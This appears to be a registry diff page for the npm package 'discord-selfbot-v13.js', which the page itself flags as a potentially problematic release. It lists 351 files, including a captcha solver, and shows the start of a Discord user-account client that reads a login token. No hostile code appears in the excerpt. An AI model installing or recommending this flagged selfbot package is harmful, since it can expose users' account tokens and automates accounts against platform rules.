discord-selfbot-v13.js 0.0.1-security → 1.0.0

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of discord-selfbot-v13.js might be problematic. Click here for more details.

Files changed (351) hide show
  1. package/LICENSE +674 -0
  2. package/README.md +128 -5
  3. package/package.json +98 -3
  4. package/src/WebSocket.js +39 -0
  5. package/src/client/BaseClient.js +87 -0
  6. package/src/client/Client.js +1124 -0
  7. package/src/client/WebhookClient.js +61 -0
  8. package/src/client/actions/Action.js +120 -0
  9. package/src/client/actions/ActionsManager.js +78 -0
  10. package/src/client/actions/ApplicationCommandPermissionsUpdate.js +34 -0
  11. package/src/client/actions/AutoModerationActionExecution.js +26 -0
  12. package/src/client/actions/AutoModerationRuleCreate.js +27 -0
  13. package/src/client/actions/AutoModerationRuleDelete.js +31 -0
  14. package/src/client/actions/AutoModerationRuleUpdate.js +29 -0
  15. package/src/client/actions/ChannelCreate.js +23 -0
  16. package/src/client/actions/ChannelDelete.js +39 -0
  17. package/src/client/actions/ChannelUpdate.js +43 -0
  18. package/src/client/actions/GuildAuditLogEntryCreate.js +29 -0
  19. package/src/client/actions/GuildBanAdd.js +20 -0
  20. package/src/client/actions/GuildBanRemove.js +25 -0
  21. package/src/client/actions/GuildChannelsPositionUpdate.js +21 -0
  22. package/src/client/actions/GuildDelete.js +65 -0
  23. package/src/client/actions/GuildEmojiCreate.js +20 -0
  24. package/src/client/actions/GuildEmojiDelete.js +21 -0
  25. package/src/client/actions/GuildEmojiUpdate.js +20 -0
  26. package/src/client/actions/GuildEmojisUpdate.js +34 -0
  27. package/src/client/actions/GuildIntegrationsUpdate.js +19 -0
  28. package/src/client/actions/GuildMemberRemove.js +33 -0
  29. package/src/client/actions/GuildMemberUpdate.js +44 -0
  30. package/src/client/actions/GuildRoleCreate.js +25 -0
  31. package/src/client/actions/GuildRoleDelete.js +31 -0
  32. package/src/client/actions/GuildRoleUpdate.js +39 -0
  33. package/src/client/actions/GuildRolesPositionUpdate.js +21 -0
  34. package/src/client/actions/GuildScheduledEventCreate.js +27 -0
  35. package/src/client/actions/GuildScheduledEventDelete.js +31 -0
  36. package/src/client/actions/GuildScheduledEventUpdate.js +30 -0
  37. package/src/client/actions/GuildScheduledEventUserAdd.js +32 -0
  38. package/src/client/actions/GuildScheduledEventUserRemove.js +32 -0
  39. package/src/client/actions/GuildStickerCreate.js +20 -0
  40. package/src/client/actions/GuildStickerDelete.js +21 -0
  41. package/src/client/actions/GuildStickerUpdate.js +20 -0
  42. package/src/client/actions/GuildStickersUpdate.js +34 -0
  43. package/src/client/actions/GuildUpdate.js +33 -0
  44. package/src/client/actions/InteractionCreate.js +115 -0
  45. package/src/client/actions/InviteCreate.js +28 -0
  46. package/src/client/actions/InviteDelete.js +30 -0
  47. package/src/client/actions/MessageCreate.js +61 -0
  48. package/src/client/actions/MessageDelete.js +32 -0
  49. package/src/client/actions/MessageDeleteBulk.js +46 -0
  50. package/src/client/actions/MessageReactionAdd.js +56 -0
  51. package/src/client/actions/MessageReactionRemove.js +45 -0
  52. package/src/client/actions/MessageReactionRemoveAll.js +33 -0
  53. package/src/client/actions/MessageReactionRemoveEmoji.js +28 -0
  54. package/src/client/actions/MessageUpdate.js +26 -0
  55. package/src/client/actions/PresenceUpdate.js +45 -0
  56. package/src/client/actions/StageInstanceCreate.js +28 -0
  57. package/src/client/actions/StageInstanceDelete.js +33 -0
  58. package/src/client/actions/StageInstanceUpdate.js +30 -0
  59. package/src/client/actions/ThreadCreate.js +24 -0
  60. package/src/client/actions/ThreadDelete.js +32 -0
  61. package/src/client/actions/ThreadListSync.js +59 -0
  62. package/src/client/actions/ThreadMemberUpdate.js +30 -0
  63. package/src/client/actions/ThreadMembersUpdate.js +34 -0
  64. package/src/client/actions/TypingStart.js +29 -0
  65. package/src/client/actions/UserUpdate.js +35 -0
  66. package/src/client/actions/VoiceStateUpdate.js +57 -0
  67. package/src/client/actions/WebhooksUpdate.js +20 -0
  68. package/src/client/voice/ClientVoiceManager.js +51 -0
  69. package/src/client/websocket/WebSocketManager.js +412 -0
  70. package/src/client/websocket/WebSocketShard.js +905 -0
  71. package/src/client/websocket/handlers/APPLICATION_COMMAND_AUTOCOMPLETE_RESPONSE.js +23 -0
  72. package/src/client/websocket/handlers/APPLICATION_COMMAND_CREATE.js +18 -0
  73. package/src/client/websocket/handlers/APPLICATION_COMMAND_DELETE.js +20 -0
  74. package/src/client/websocket/handlers/APPLICATION_COMMAND_PERMISSIONS_UPDATE.js +5 -0
  75. package/src/client/websocket/handlers/APPLICATION_COMMAND_UPDATE.js +20 -0
  76. package/src/client/websocket/handlers/AUTO_MODERATION_ACTION_EXECUTION.js +5 -0
  77. package/src/client/websocket/handlers/AUTO_MODERATION_RULE_CREATE.js +5 -0
  78. package/src/client/websocket/handlers/AUTO_MODERATION_RULE_DELETE.js +5 -0
  79. package/src/client/websocket/handlers/AUTO_MODERATION_RULE_UPDATE.js +5 -0
  80. package/src/client/websocket/handlers/CALL_CREATE.js +14 -0
  81. package/src/client/websocket/handlers/CALL_DELETE.js +11 -0
  82. package/src/client/websocket/handlers/CALL_UPDATE.js +11 -0
  83. package/src/client/websocket/handlers/CHANNEL_CREATE.js +5 -0
  84. package/src/client/websocket/handlers/CHANNEL_DELETE.js +5 -0
  85. package/src/client/websocket/handlers/CHANNEL_PINS_UPDATE.js +22 -0
  86. package/src/client/websocket/handlers/CHANNEL_RECIPIENT_ADD.js +16 -0
  87. package/src/client/websocket/handlers/CHANNEL_RECIPIENT_REMOVE.js +16 -0
  88. package/src/client/websocket/handlers/CHANNEL_UPDATE.js +16 -0
  89. package/src/client/websocket/handlers/GUILD_APPLICATION_COMMANDS_UPDATE.js +11 -0
  90. package/src/client/websocket/handlers/GUILD_AUDIT_LOG_ENTRY_CREATE.js +5 -0
  91. package/src/client/websocket/handlers/GUILD_BAN_ADD.js +5 -0
  92. package/src/client/websocket/handlers/GUILD_BAN_REMOVE.js +5 -0
  93. package/src/client/websocket/handlers/GUILD_CREATE.js +53 -0
  94. package/src/client/websocket/handlers/GUILD_DELETE.js +5 -0
  95. package/src/client/websocket/handlers/GUILD_EMOJIS_UPDATE.js +5 -0
  96. package/src/client/websocket/handlers/GUILD_INTEGRATIONS_UPDATE.js +5 -0
  97. package/src/client/websocket/handlers/GUILD_MEMBERS_CHUNK.js +39 -0
  98. package/src/client/websocket/handlers/GUILD_MEMBER_ADD.js +20 -0
  99. package/src/client/websocket/handlers/GUILD_MEMBER_LIST_UPDATE.js +55 -0
  100. package/src/client/websocket/handlers/GUILD_MEMBER_REMOVE.js +5 -0
  101. package/src/client/websocket/handlers/GUILD_MEMBER_UPDATE.js +5 -0
  102. package/src/client/websocket/handlers/GUILD_ROLE_CREATE.js +5 -0
  103. package/src/client/websocket/handlers/GUILD_ROLE_DELETE.js +5 -0
  104. package/src/client/websocket/handlers/GUILD_ROLE_UPDATE.js +5 -0
  105. package/src/client/websocket/handlers/GUILD_SCHEDULED_EVENT_CREATE.js +5 -0
  106. package/src/client/websocket/handlers/GUILD_SCHEDULED_EVENT_DELETE.js +5 -0
  107. package/src/client/websocket/handlers/GUILD_SCHEDULED_EVENT_UPDATE.js +5 -0
  108. package/src/client/websocket/handlers/GUILD_SCHEDULED_EVENT_USER_ADD.js +5 -0
  109. package/src/client/websocket/handlers/GUILD_SCHEDULED_EVENT_USER_REMOVE.js +5 -0
  110. package/src/client/websocket/handlers/GUILD_SOUNDBOARD_SOUNDS_UPDATE.js +0 -0
  111. package/src/client/websocket/handlers/GUILD_SOUNDBOARD_SOUND_CREATE.js +0 -0
  112. package/src/client/websocket/handlers/GUILD_SOUNDBOARD_SOUND_DELETE.js +0 -0
  113. package/src/client/websocket/handlers/GUILD_SOUNDBOARD_SOUND_UPDATE.js +0 -0
  114. package/src/client/websocket/handlers/GUILD_STICKERS_UPDATE.js +5 -0
  115. package/src/client/websocket/handlers/GUILD_UPDATE.js +5 -0
  116. package/src/client/websocket/handlers/INTERACTION_CREATE.js +16 -0
  117. package/src/client/websocket/handlers/INTERACTION_FAILURE.js +18 -0
  118. package/src/client/websocket/handlers/INTERACTION_MODAL_CREATE.js +11 -0
  119. package/src/client/websocket/handlers/INTERACTION_SUCCESS.js +30 -0
  120. package/src/client/websocket/handlers/INVITE_CREATE.js +5 -0
  121. package/src/client/websocket/handlers/INVITE_DELETE.js +5 -0
  122. package/src/client/websocket/handlers/MESSAGE_ACK.js +16 -0
  123. package/src/client/websocket/handlers/MESSAGE_CREATE.js +5 -0
  124. package/src/client/websocket/handlers/MESSAGE_DELETE.js +5 -0
  125. package/src/client/websocket/handlers/MESSAGE_DELETE_BULK.js +5 -0
  126. package/src/client/websocket/handlers/MESSAGE_REACTION_ADD.js +5 -0
  127. package/src/client/websocket/handlers/MESSAGE_REACTION_REMOVE.js +5 -0
  128. package/src/client/websocket/handlers/MESSAGE_REACTION_REMOVE_ALL.js +5 -0
  129. package/src/client/websocket/handlers/MESSAGE_REACTION_REMOVE_EMOJI.js +5 -0
  130. package/src/client/websocket/handlers/MESSAGE_UPDATE.js +16 -0
  131. package/src/client/websocket/handlers/PRESENCE_UPDATE.js +5 -0
  132. package/src/client/websocket/handlers/READY.js +171 -0
  133. package/src/client/websocket/handlers/RELATIONSHIP_ADD.js +17 -0
  134. package/src/client/websocket/handlers/RELATIONSHIP_REMOVE.js +15 -0
  135. package/src/client/websocket/handlers/RELATIONSHIP_UPDATE.js +18 -0
  136. package/src/client/websocket/handlers/RESUMED.js +14 -0
  137. package/src/client/websocket/handlers/SOUNDBOARD_SOUNDS.js +0 -0
  138. package/src/client/websocket/handlers/STAGE_INSTANCE_CREATE.js +5 -0
  139. package/src/client/websocket/handlers/STAGE_INSTANCE_DELETE.js +5 -0
  140. package/src/client/websocket/handlers/STAGE_INSTANCE_UPDATE.js +5 -0
  141. package/src/client/websocket/handlers/THREAD_CREATE.js +5 -0
  142. package/src/client/websocket/handlers/THREAD_DELETE.js +5 -0
  143. package/src/client/websocket/handlers/THREAD_LIST_SYNC.js +5 -0
  144. package/src/client/websocket/handlers/THREAD_MEMBERS_UPDATE.js +5 -0
  145. package/src/client/websocket/handlers/THREAD_MEMBER_UPDATE.js +5 -0
  146. package/src/client/websocket/handlers/THREAD_UPDATE.js +16 -0
  147. package/src/client/websocket/handlers/TYPING_START.js +5 -0
  148. package/src/client/websocket/handlers/USER_GUILD_SETTINGS_UPDATE.js +12 -0
  149. package/src/client/websocket/handlers/USER_NOTE_UPDATE.js +5 -0
  150. package/src/client/websocket/handlers/USER_REQUIRED_ACTION_UPDATE.js +5 -0
  151. package/src/client/websocket/handlers/USER_SETTINGS_UPDATE.js +9 -0
  152. package/src/client/websocket/handlers/USER_UPDATE.js +5 -0
  153. package/src/client/websocket/handlers/VOICE_CHANNEL_EFFECT_SEND.js +0 -0
  154. package/src/client/websocket/handlers/VOICE_SERVER_UPDATE.js +6 -0
  155. package/src/client/websocket/handlers/VOICE_STATE_UPDATE.js +5 -0
  156. package/src/client/websocket/handlers/WEBHOOKS_UPDATE.js +5 -0
  157. package/src/client/websocket/handlers/index.js +87 -0
  158. package/src/errors/DJSError.js +61 -0
  159. package/src/errors/Messages.js +228 -0
  160. package/src/errors/index.js +4 -0
  161. package/src/index.js +194 -0
  162. package/src/managers/ApplicationCommandManager.js +267 -0
  163. package/src/managers/ApplicationCommandPermissionsManager.js +425 -0
  164. package/src/managers/AutoModerationRuleManager.js +296 -0
  165. package/src/managers/BaseGuildEmojiManager.js +80 -0
  166. package/src/managers/BaseManager.js +19 -0
  167. package/src/managers/BillingManager.js +66 -0
  168. package/src/managers/CachedManager.js +71 -0
  169. package/src/managers/ChannelManager.js +139 -0
  170. package/src/managers/ClientUserSettingManager.js +490 -0
  171. package/src/managers/DataManager.js +61 -0
  172. package/src/managers/DeveloperPortalManager.js +104 -0
  173. package/src/managers/GuildApplicationCommandManager.js +28 -0
  174. package/src/managers/GuildBanManager.js +204 -0
  175. package/src/managers/GuildChannelManager.js +504 -0
  176. package/src/managers/GuildEmojiManager.js +171 -0
  177. package/src/managers/GuildEmojiRoleManager.js +118 -0
  178. package/src/managers/GuildFolderManager.js +24 -0
  179. package/src/managers/GuildForumThreadManager.js +114 -0
  180. package/src/managers/GuildInviteManager.js +213 -0
  181. package/src/managers/GuildManager.js +304 -0
  182. package/src/managers/GuildMemberManager.js +772 -0
  183. package/src/managers/GuildMemberRoleManager.js +191 -0
  184. package/src/managers/GuildScheduledEventManager.js +296 -0
  185. package/src/managers/GuildSettingManager.js +148 -0
  186. package/src/managers/GuildStickerManager.js +179 -0
  187. package/src/managers/GuildTextThreadManager.js +98 -0
  188. package/src/managers/InteractionManager.js +39 -0
  189. package/src/managers/MessageManager.js +393 -0
  190. package/src/managers/PermissionOverwriteManager.js +166 -0
  191. package/src/managers/PresenceManager.js +58 -0
  192. package/src/managers/ReactionManager.js +67 -0
  193. package/src/managers/ReactionUserManager.js +71 -0
  194. package/src/managers/RelationshipManager.js +258 -0
  195. package/src/managers/RoleManager.js +352 -0
  196. package/src/managers/SessionManager.js +57 -0
  197. package/src/managers/StageInstanceManager.js +162 -0
  198. package/src/managers/ThreadManager.js +207 -0
  199. package/src/managers/ThreadMemberManager.js +186 -0
  200. package/src/managers/UserManager.js +150 -0
  201. package/src/managers/VoiceStateManager.js +37 -0
  202. package/src/rest/APIRequest.js +133 -0
  203. package/src/rest/APIRouter.js +53 -0
  204. package/src/rest/CaptchaSolver.js +139 -0
  205. package/src/rest/DiscordAPIError.js +103 -0
  206. package/src/rest/HTTPError.js +62 -0
  207. package/src/rest/RESTManager.js +82 -0
  208. package/src/rest/RateLimitError.js +55 -0
  209. package/src/rest/RequestHandler.js +430 -0
  210. package/src/sharding/Shard.js +443 -0
  211. package/src/sharding/ShardClientUtil.js +275 -0
  212. package/src/sharding/ShardingManager.js +318 -0
  213. package/src/structures/AnonymousGuild.js +98 -0
  214. package/src/structures/ApplicationCommand.js +1030 -0
  215. package/src/structures/ApplicationRoleConnectionMetadata.js +45 -0
  216. package/src/structures/AutoModerationActionExecution.js +89 -0
  217. package/src/structures/AutoModerationRule.js +294 -0
  218. package/src/structures/AutocompleteInteraction.js +106 -0
  219. package/src/structures/Base.js +43 -0
  220. package/src/structures/BaseCommandInteraction.js +211 -0
  221. package/src/structures/BaseGuild.js +116 -0
  222. package/src/structures/BaseGuildEmoji.js +56 -0
  223. package/src/structures/BaseGuildTextChannel.js +203 -0
  224. package/src/structures/BaseGuildVoiceChannel.js +243 -0
  225. package/src/structures/BaseMessageComponent.js +114 -0
  226. package/src/structures/ButtonInteraction.js +11 -0
  227. package/src/structures/Call.js +58 -0
  228. package/src/structures/CategoryChannel.js +85 -0
  229. package/src/structures/Channel.js +271 -0
  230. package/src/structures/ClientApplication.js +233 -0
  231. package/src/structures/ClientPresence.js +92 -0
  232. package/src/structures/ClientUser.js +635 -0
  233. package/src/structures/CommandInteraction.js +41 -0
  234. package/src/structures/CommandInteractionOptionResolver.js +276 -0
  235. package/src/structures/ContextMenuInteraction.js +65 -0
  236. package/src/structures/DMChannel.js +289 -0
  237. package/src/structures/DeveloperPortalApplication.js +520 -0
  238. package/src/structures/DirectoryChannel.js +20 -0
  239. package/src/structures/Emoji.js +148 -0
  240. package/src/structures/ForumChannel.js +271 -0
  241. package/src/structures/Guild.js +1744 -0
  242. package/src/structures/GuildAuditLogs.js +734 -0
  243. package/src/structures/GuildBan.js +59 -0
  244. package/src/structures/GuildBoost.js +108 -0
  245. package/src/structures/GuildChannel.js +468 -0
  246. package/src/structures/GuildEmoji.js +161 -0
  247. package/src/structures/GuildFolder.js +75 -0
  248. package/src/structures/GuildMember.js +686 -0
  249. package/src/structures/GuildPreview.js +191 -0
  250. package/src/structures/GuildPreviewEmoji.js +27 -0
  251. package/src/structures/GuildScheduledEvent.js +441 -0
  252. package/src/structures/GuildTemplate.js +236 -0
  253. package/src/structures/Integration.js +188 -0
  254. package/src/structures/IntegrationApplication.js +96 -0
  255. package/src/structures/Interaction.js +351 -0
  256. package/src/structures/InteractionCollector.js +248 -0
  257. package/src/structures/InteractionResponse.js +114 -0
  258. package/src/structures/InteractionWebhook.js +43 -0
  259. package/src/structures/Invite.js +375 -0
  260. package/src/structures/InviteGuild.js +23 -0
  261. package/src/structures/InviteStageInstance.js +86 -0
  262. package/src/structures/Message.js +1188 -0
  263. package/src/structures/MessageActionRow.js +103 -0
  264. package/src/structures/MessageAttachment.js +204 -0
  265. package/src/structures/MessageButton.js +231 -0
  266. package/src/structures/MessageCollector.js +146 -0
  267. package/src/structures/MessageComponentInteraction.js +120 -0
  268. package/src/structures/MessageContextMenuInteraction.js +20 -0
  269. package/src/structures/MessageEmbed.js +586 -0
  270. package/src/structures/MessageMentions.js +272 -0
  271. package/src/structures/MessagePayload.js +358 -0
  272. package/src/structures/MessageReaction.js +171 -0
  273. package/src/structures/MessageSelectMenu.js +391 -0
  274. package/src/structures/Modal.js +279 -0
  275. package/src/structures/ModalSubmitFieldsResolver.js +53 -0
  276. package/src/structures/ModalSubmitInteraction.js +119 -0
  277. package/src/structures/NewsChannel.js +32 -0
  278. package/src/structures/OAuth2Guild.js +28 -0
  279. package/src/structures/PartialGroupDMChannel.js +449 -0
  280. package/src/structures/PermissionOverwrites.js +196 -0
  281. package/src/structures/Presence.js +443 -0
  282. package/src/structures/ReactionCollector.js +229 -0
  283. package/src/structures/ReactionEmoji.js +31 -0
  284. package/src/structures/RichPresence.js +722 -0
  285. package/src/structures/Role.js +531 -0
  286. package/src/structures/SelectMenuInteraction.js +170 -0
  287. package/src/structures/Session.js +81 -0
  288. package/src/structures/StageChannel.js +104 -0
  289. package/src/structures/StageInstance.js +208 -0
  290. package/src/structures/Sticker.js +310 -0
  291. package/src/structures/StickerPack.js +95 -0
  292. package/src/structures/StoreChannel.js +56 -0
  293. package/src/structures/Team.js +167 -0
  294. package/src/structures/TeamMember.js +71 -0
  295. package/src/structures/TextChannel.js +33 -0
  296. package/src/structures/TextInputComponent.js +201 -0
  297. package/src/structures/ThreadChannel.js +626 -0
  298. package/src/structures/ThreadMember.js +105 -0
  299. package/src/structures/Typing.js +74 -0
  300. package/src/structures/User.js +730 -0
  301. package/src/structures/UserContextMenuInteraction.js +29 -0
  302. package/src/structures/VoiceChannel.js +110 -0
  303. package/src/structures/VoiceRegion.js +53 -0
  304. package/src/structures/VoiceState.js +353 -0
  305. package/src/structures/WebEmbed.js +412 -0
  306. package/src/structures/Webhook.js +461 -0
  307. package/src/structures/WelcomeChannel.js +60 -0
  308. package/src/structures/WelcomeScreen.js +48 -0
  309. package/src/structures/Widget.js +87 -0
  310. package/src/structures/WidgetMember.js +99 -0
  311. package/src/structures/interfaces/Application.js +190 -0
  312. package/src/structures/interfaces/Collector.js +300 -0
  313. package/src/structures/interfaces/InteractionResponses.js +313 -0
  314. package/src/structures/interfaces/TextBasedChannel.js +566 -0
  315. package/src/util/ActivityFlags.js +44 -0
  316. package/src/util/ApplicationFlags.js +76 -0
  317. package/src/util/AttachmentFlags.js +38 -0
  318. package/src/util/BitField.js +170 -0
  319. package/src/util/ChannelFlags.js +45 -0
  320. package/src/util/Constants.js +1940 -0
  321. package/src/util/DataResolver.js +145 -0
  322. package/src/util/Formatters.js +214 -0
  323. package/src/util/GuildMemberFlags.js +43 -0
  324. package/src/util/Intents.js +74 -0
  325. package/src/util/LimitedCollection.js +131 -0
  326. package/src/util/MessageFlags.js +54 -0
  327. package/src/util/Options.js +364 -0
  328. package/src/util/Permissions.js +187 -0
  329. package/src/util/PremiumUsageFlags.js +31 -0
  330. package/src/util/PurchasedFlags.js +31 -0
  331. package/src/util/RemoteAuth.js +514 -0
  332. package/src/util/RoleFlags.js +37 -0
  333. package/src/util/SnowflakeUtil.js +92 -0
  334. package/src/util/Sweepers.js +466 -0
  335. package/src/util/SystemChannelFlags.js +55 -0
  336. package/src/util/ThreadMemberFlags.js +30 -0
  337. package/src/util/UserFlags.js +104 -0
  338. package/src/util/Util.js +882 -0
  339. package/src/util/Voice.js +1456 -0
  340. package/src/util/arRPC/index.js +229 -0
  341. package/src/util/arRPC/process/detectable.json +1 -0
  342. package/src/util/arRPC/process/index.js +102 -0
  343. package/src/util/arRPC/process/native/index.js +5 -0
  344. package/src/util/arRPC/process/native/linux.js +37 -0
  345. package/src/util/arRPC/process/native/win32.js +25 -0
  346. package/src/util/arRPC/transports/ipc.js +281 -0
  347. package/src/util/arRPC/transports/websocket.js +128 -0
  348. package/typings/enums.d.ts +346 -0
  349. package/typings/index.d.ts +7776 -0
  350. package/typings/index.test-d.ts +0 -0
  351. package/typings/rawDataTypes.d.ts +283 -0
@@ -0,0 +1,1124 @@
1
+ 'use strict';
2
+
3
+ const process = require('node:process');
4
+ const { setInterval, setTimeout } = require('node:timers');
5
+ const { Collection } = require('@discordjs/collection');
6
+ const { getVoiceConnection } = require('@discordjs/voice');
7
+ const chalk = require('chalk');
8
+ const fetch = require('node-fetch');
9
+ const BaseClient = require('./BaseClient');
10
+ const ActionsManager = require('./actions/ActionsManager');
11
+ const ClientVoiceManager = require('./voice/ClientVoiceManager');
12
+ const WebSocketManager = require('./websocket/WebSocketManager');
13
+ const { Error, TypeError, RangeError } = require('../errors');
14
+ const Discord = require('../index');
15
+ const BaseGuildEmojiManager = require('../managers/BaseGuildEmojiManager');
16
+ const BillingManager = require('../managers/BillingManager');
17
+ const ChannelManager = require('../managers/ChannelManager');
18
+ const ClientUserSettingManager = require('../managers/ClientUserSettingManager');
19
+ const DeveloperPortalManager = require('../managers/DeveloperPortalManager');
20
+ const GuildManager = require('../managers/GuildManager');
21
+ const RelationshipManager = require('../managers/RelationshipManager');
22
+ const SessionManager = require('../managers/SessionManager');
23
+ const UserManager = require('../managers/UserManager');
24
+ const VoiceStateManager = require('../managers/VoiceStateManager');
25
+ const ShardClientUtil = require('../sharding/ShardClientUtil');
26
+ const ClientPresence = require('../structures/ClientPresence');
27
+ const GuildPreview = require('../structures/GuildPreview');
28
+ const GuildTemplate = require('../structures/GuildTemplate');
29
+ const Invite = require('../structures/Invite');
30
+ const { CustomStatus } = require('../structures/RichPresence');
31
+ const { Sticker } = require('../structures/Sticker');
32
+ const StickerPack = require('../structures/StickerPack');
33
+ const VoiceRegion = require('../structures/VoiceRegion');
34
+ const Webhook = require('../structures/Webhook');
35
+ const Widget = require('../structures/Widget');
36
+ const { Events, InviteScopes, Status, captchaServices } = require('../util/Constants');
37
+ const DataResolver = require('../util/DataResolver');
38
+ const Intents = require('../util/Intents');
39
+ const Options = require('../util/Options');
40
+ const Permissions = require('../util/Permissions');
41
+ const DiscordAuthWebsocket = require('../util/RemoteAuth');
42
+ const Sweepers = require('../util/Sweepers');
43
+ const { testImportModule } = require('../util/Util');
44
+ const phin = require('phin');
45
+
46
+ /**
47
+ * The main hub for interacting with the Discord API, and the starting point for any bot.
48
+ * @extends {BaseClient}
49
+ */
50
+ class Client extends BaseClient {
51
+ /**
52
+ * @param {ClientOptions} options Options for the client
53
+ */
54
+ constructor(options = {}) {
55
+ super(options);
56
+
57
+ const data = require('node:worker_threads').workerData ?? process.env;
58
+ const defaults = Options.createDefault();
59
+
60
+ if (this.options.shards === defaults.shards) {
61
+ if ('SHARDS' in data) {
62
+ this.options.shards = JSON.parse(data.SHARDS);
63
+ }
64
+ }
65
+
66
+ if (this.options.shardCount === defaults.shardCount) {
67
+ if ('SHARD_COUNT' in data) {
68
+ this.options.shardCount = Number(data.SHARD_COUNT);
69
+ } else if (Array.isArray(this.options.shards)) {
70
+ this.options.shardCount = this.options.shards.length;
71
+ }
72
+ }
73
+
74
+ const typeofShards = typeof this.options.shards;
75
+
76
+ if (typeofShards === 'undefined' && typeof this.options.shardCount === 'number') {
77
+ this.options.shards = Array.from({ length: this.options.shardCount }, (_, i) => i);
78
+ }
79
+
80
+ if (typeofShards === 'number') this.options.shards = [this.options.shards];
81
+
82
+ if (Array.isArray(this.options.shards)) {
83
+ this.options.shards = [
84
+ ...new Set(
85
+ this.options.shards.filter(item => !isNaN(item) && item >= 0 && item < Infinity && item === (item | 0)),
86
+ ),
87
+ ];
88
+ }
89
+
90
+ this._validateOptions();
91
+
92
+ /**
93
+ * Functions called when a cache is garbage collected or the Client is destroyed
94
+ * @type {Set<Function>}
95
+ * @private
96
+ */
97
+ this._cleanups = new Set();
98
+
99
+ /**
100
+ * The finalizers used to cleanup items.
101
+ * @type {FinalizationRegistry}
102
+ * @private
103
+ */
104
+ this._finalizers = new FinalizationRegistry(this._finalize.bind(this));
105
+
106
+ /**
107
+ * The WebSocket manager of the client
108
+ * @type {WebSocketManager}
109
+ */
110
+ this.ws = new WebSocketManager(this);
111
+
112
+ /**
113
+ * The action manager of the client
114
+ * @type {ActionsManager}
115
+ * @private
116
+ */
117
+ this.actions = new ActionsManager(this);
118
+
119
+ /**
120
+ * The voice manager of the client
121
+ * @type {ClientVoiceManager}
122
+ */
123
+ this.voice = new ClientVoiceManager(this);
124
+
125
+ /**
126
+ * A manager of the voice states of this client (Support DM / Group DM)
127
+ * @type {VoiceStateManager}
128
+ */
129
+ this.voiceStates = new VoiceStateManager({ client: this });
130
+
131
+ /**
132
+ * Shard helpers for the client (only if the process was spawned from a {@link ShardingManager})
133
+ * @type {?ShardClientUtil}
134
+ */
135
+ this.shard = process.env.SHARDING_MANAGER
136
+ ? ShardClientUtil.singleton(this, process.env.SHARDING_MANAGER_MODE)
137
+ : null;
138
+
139
+ /**
140
+ * All of the {@link User} objects that have been cached at any point, mapped by their ids
141
+ * @type {UserManager}
142
+ */
143
+ this.users = new UserManager(this);
144
+
145
+ // Patch
146
+ /**
147
+ * All of the relationships {@link User}
148
+ * @type {RelationshipManager}
149
+ */
150
+ this.relationships = new RelationshipManager(this);
151
+ /**
152
+ * All of the settings {@link Object}
153
+ * @type {ClientUserSettingManager}
154
+ */
155
+ this.settings = new ClientUserSettingManager(this);
156
+ /**
157
+ * All of the guilds the client is currently handling, mapped by their ids -
158
+ * as long as sharding isn't being used, this will be *every* guild the bot is a member of
159
+ * @type {GuildManager}
160
+ */
161
+ this.guilds = new GuildManager(this);
162
+
163
+ /**
164
+ * Manages the API methods
165
+ * @type {BillingManager}
166
+ */
167
+ this.billing = new BillingManager(this);
168
+
169
+ /**
170
+ * All of the sessions of the client
171
+ * @type {SessionManager}
172
+ */
173
+ this.sessions = new SessionManager(this);
174
+
175
+ /**
176
+ * All of the {@link Channel}s that the client is currently handling, mapped by their ids -
177
+ * as long as sharding isn't being used, this will be *every* channel in *every* guild the bot
178
+ * is a member of. Note that DM channels will not be initially cached, and thus not be present
179
+ * in the Manager without their explicit fetching or use.
180
+ * @type {ChannelManager}
181
+ */
182
+ this.channels = new ChannelManager(this);
183
+
184
+ /**
185
+ * The sweeping functions and their intervals used to periodically sweep caches
186
+ * @type {Sweepers}
187
+ */
188
+ this.sweepers = new Sweepers(this, this.options.sweepers);
189
+
190
+ /**
191
+ * The developer portal manager of the client
192
+ * @type {DeveloperPortalManager}
193
+ */
194
+ this.developerPortal = new DeveloperPortalManager(this);
195
+
196
+ /**
197
+ * The presence of the Client
198
+ * @private
199
+ * @type {ClientPresence}
200
+ */
201
+ this.presence = new ClientPresence(this, this.options.presence);
202
+
203
+ Object.defineProperty(this, 'token', { writable: true });
204
+ if (!this.token && 'DISCORD_TOKEN' in process.env) {
205
+ /**
206
+ * Authorization token for the logged in bot.
207
+ * If present, this defaults to `process.env.DISCORD_TOKEN` when instantiating the client
208
+ * <warn>This should be kept private at all times.</warn>
209
+ * @type {?string}
210
+ */
211
+ this.token = process.env.DISCORD_TOKEN;
212
+ } else {
213
+ this.token = null;
214
+ }
215
+
216
+ this._interactionCache = new Collection();
217
+
218
+ /**
219
+ * User that the client is logged in as
220
+ * @type {?ClientUser}
221
+ */
222
+ this.user = null;
223
+
224
+ /**
225
+ * The application of this bot
226
+ * @type {?ClientApplication}
227
+ */
228
+ this.application = null;
229
+
230
+ /**
231
+ * Time at which the client was last regarded as being in the `READY` state
232
+ * (each time the client disconnects and successfully reconnects, this will be overwritten)
233
+ * @type {?Date}
234
+ */
235
+ this.readyAt = null;
236
+
237
+ /**
238
+ * Password cache
239
+ * @type {?string}
240
+ */
241
+ this.password = this.options.password;
242
+
243
+ if (this.options.messageSweepInterval > 0) {
244
+ process.emitWarning(
245
+ 'The message sweeping client options are deprecated, use the global sweepers instead.',
246
+ 'DeprecationWarning',
247
+ );
248
+ this.sweepMessageInterval = setInterval(
249
+ this.sweepMessages.bind(this),
250
+ this.options.messageSweepInterval * 1_000,
251
+ ).unref();
252
+ }
253
+ }
254
+
255
+ /**
256
+ * Session ID
257
+ * @type {?string}
258
+ * @readonly
259
+ */
260
+ get sessionId() {
261
+ return this.ws.shards.first()?.sessionId;
262
+ }
263
+
264
+ /**
265
+ * All custom emojis that the client has access to, mapped by their ids
266
+ * @type {BaseGuildEmojiManager}
267
+ * @readonly
268
+ */
269
+ get emojis() {
270
+ const emojis = new BaseGuildEmojiManager(this);
271
+ for (const guild of this.guilds.cache.values()) {
272
+ if (guild.available) for (const emoji of guild.emojis.cache.values()) emojis.cache.set(emoji.id, emoji);
273
+ }
274
+ return emojis;
275
+ }
276
+
277
+ /**
278
+ * Timestamp of the time the client was last `READY` at
279
+ * @type {?number}
280
+ * @readonly
281
+ */
282
+ get readyTimestamp() {
283
+ return this.readyAt?.getTime() ?? null;
284
+ }
285
+
286
+ /**
287
+ * How long it has been since the client last entered the `READY` state in milliseconds
288
+ * @type {?number}
289
+ * @readonly
290
+ */
291
+ get uptime() {
292
+ return this.readyAt ? Date.now() - this.readyAt : null;
293
+ }
294
+
295
+ /**
296
+ * @external VoiceConnection
297
